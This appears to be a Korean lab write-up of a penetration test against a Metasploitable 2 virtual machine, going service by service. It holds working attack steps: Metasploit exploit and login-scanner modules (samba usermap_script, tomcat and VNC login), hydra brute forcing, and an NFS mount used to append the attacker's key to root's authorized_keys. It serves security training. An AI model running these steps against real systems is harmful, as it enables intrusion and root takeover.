공격 시나리오 : nmap 구동하고 운영 중인 서비스에 대한 모든 공격테스트를 시행한다.
nmap 을 구동하고 나온 결과는 다음과 같다.
# 21번 ftp
p 서비스
21번
현재 kali linux 에서 meta로 ftp 접속이 되지 않는 상황이다. (원인 파악 필요)
vsftpd 로 검색한 결과 다음의 모듈을 찾았고 바로 쉘이 실행된다.
# 22번 ssh
openssh 4.7 버전을 사용하고 있다.
ssh 192.168.203.130 -l msfadmin 을 입력하면 password 입력하여 로그인 할 수 있다.
hydra 를 이용한 패스워드 무차별 삽입 공격 실패
나중에 원인을 찾도록 한다.
# 23번 telnet
텔넷 서비스 접속을 시도하자 ID/PW 를 묻는다
- telnet 192.168.203.130
hydra 로 무차별 삽입 공격을 수행하자 passwd를 찾았다.
# samba
nmap 결과로 버전명이 완벽하게 나와있지 않다. 3.x - 4.x 로 되어 있다. 정확한 버전을 알아내기 위해 auxiliary 모듈을 사용한다.
- use auxiliary/scanner/smb/smb_version
- set rhost [tartget ip]
- run
samba 버전이 3.0 이라는 것을 알게되었다. 이 내용으로 metasploit 내에서 search 명령어로 검색해도 되지만 구글에서 samba 3.0 metasploit 이라고 검색하면 내용을 확인 할 수 있다. (username_map_script)
- search username_map_script
- use exploit/multi/samba/usermap_script
- set rhost 192.168.203.130
- run
위 명령어를 통해 쉘을 취득할 수 있다.
# 513번 rlogin
rlogin 취약점 내용
- http://coashanee5.blogspot.com/2017/04/r-command.html
tcp port 512, 513, 514 는 r 서비스 이다. 513 rlogin 서비스는 일반 사용자가 특권 계층의 데이터에 접근 할 수 있는 취약점이다. 원격에서는 rlogin 으로 무차별 대입 공격을 할 수 있다.
# 2046번 nfs
네트워크 파일 시스템(nfs) 에 대한 접근통제가 수행되지 않아 외부에서 공유 자원 목록을 확인 할 수 있다.
원격(kali linux)에서 서비스 설명 정보 출력이 가능하다.
(단, kali linux 기본 설정에서는 rpcinfo, showmount 명령어가 설치 되어 있지 않으니 수동으로 설치 해야한다.
- sudo apt-get install apt-file
- sudo apt-file update
- apt-file search showmount
- apt-get install nfs-common
그러면 이 취약점으로 무엇을 할 수 있을까.
ssh-keygen
ssh key 는 서버에 접속 할 때 비밀번호 대신 key 를 제출 하는 방식이며 이는, 1) 비밀번호보다 높은 수준의 보안을 필요로 할 때, 2) 로그인 없이 자동으로 서버에 접속 할 때 사용된다.
(참조 https://opentutorials.org/module/432/3742)
ssh-keygen 명령어로 언급된 파일의 설명은 위와 같다.
mount 명령어를 사용하여 192.168.203.130 파일 시스템을 임의로 만든 /tmp/r00t 디렉터리에 마운트 한다. -t 명령어로 타입을 지정해야한다. 마운트 하면 아래와 같이 metasploitable 의 최상위 폴더의 (/) 파일이 확인된다. 마운트가 정상적으로 된것이다.
그 후 cat 명령어로 id_ras.pub, 즉 접속하려는 리모트 머신의 인증키를 /tmp/r00t/root/.ssh/authorized_keys에 저장한다.
즉 cat ~/.ssh/id_rsa.pub >> /tmp/r00t/root/.ssh/authorized_keys 이 명령어로 192.168.203.130 파일의 인증키를 나의 인증키로 대체하는 것이다.
그러면서 ssh 에 접속하게 되면 바로 로그인된다. (root 디렉토리에 id_rsa의 내용이 담겨 있으므로 root@ 라고 입력한다. )
# 3306번 mysql
mysql 비밀번호 설정을 하지 않아서 원격에서 접속이 가능함
# 5432번 postgresql
postgresql 기본 계정 정보 (postgres/postgres)가 취약하게 설정되어 있어서 외부에서 접속이 가능함
metasploit 으로 공격을 시도 할 수도 있다.
- use/auxiliary/scanner/postgres/postgres_login
- show options
- set rhosts 192.168.203.130
- set verbose false (whether to print output for all attempts)
- run
hydra 를 이용한 무차별 삽입 공격
** postgres 명령어
postgres=# \dn
스키마(schema) 목록
이름 | 소유주
--------+----------
public | postgres
(1개 행)
postgres=# select version();
version
-----------------------------------------------------------------------------------------------
PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
(1개 행)
postgres-# \l
데이터베이스 목록
이름 | 소유주 | 인코딩 | 액세스 권한
-----------+----------+--------+-----------------------
postgres | postgres | UTF8 |
template0 | postgres | UTF8 | =c/postgres +
| | | postgres=CTc/postgres
template1 | postgres | UTF8 | =c/postgres +
| | | postgres=CTc/postgres
(3개 행)
postgres=# select * from pg_user;
usename | usesysid | usecreatedb | usesuper | usecatupd | passwd | valuntil | useconfig
----------+----------+-------------+----------+-----------+----------+----------+-----------
postgres | 10 | t | t | t | ******** | |
(1개 행)
** 히드라는 아래와 같이 상당히 다수의 프로토콜을 지원한다.
It supports: Cisco AAA, Cisco auth, Cisco enable, CVS, FTP, HTTP(S)-FORM-GET, HTTP(S)-FORM-POST, HTTP(S)-GET, HTTP(S)-HEAD, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MySQL, NNTP, Oracle Listener, Oracle SID, PC-Anywhere, PC-NFS, POP3, PostgreSQL, RDP, Rexec, Rlogin, Rsh, SIP, SMB(NT), SMTP, SMTP Enum, SNMP v1+v2+v3, SOCKS5, SSH (v1 and v2), SSHKEY, Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP.
# 5900번 VNC
취약한 패스워드에 대한 무차별 삽입 공격을 시도한다.
- use auxiliary/scanner/vnc/vnc_login
- show options
- set verbose false
- set rhosts 192.168.203.130
- run
# 8180번 Apache tomcat/Coyote JSP engine 1.1
8180에 tomcat 구동 중이라는 것을 확인하였고 실제 브라우저에서 접속 확인을 한다.
- firefox 192.168.203.130:8180
- firefox 192.168.203.130:8180/manager/html
metasploit 에서 로그인 공격을 수행 할 것이다.
- search tomcat
- use auxiliary/scanner/http/tomcat_mgr_login
- set rhosts 192.168.203.130
- set rposts 8180
- run
# 참조
- https://metasploit.help.rapid7.com/docs/metasploitable-2-exploitability-guide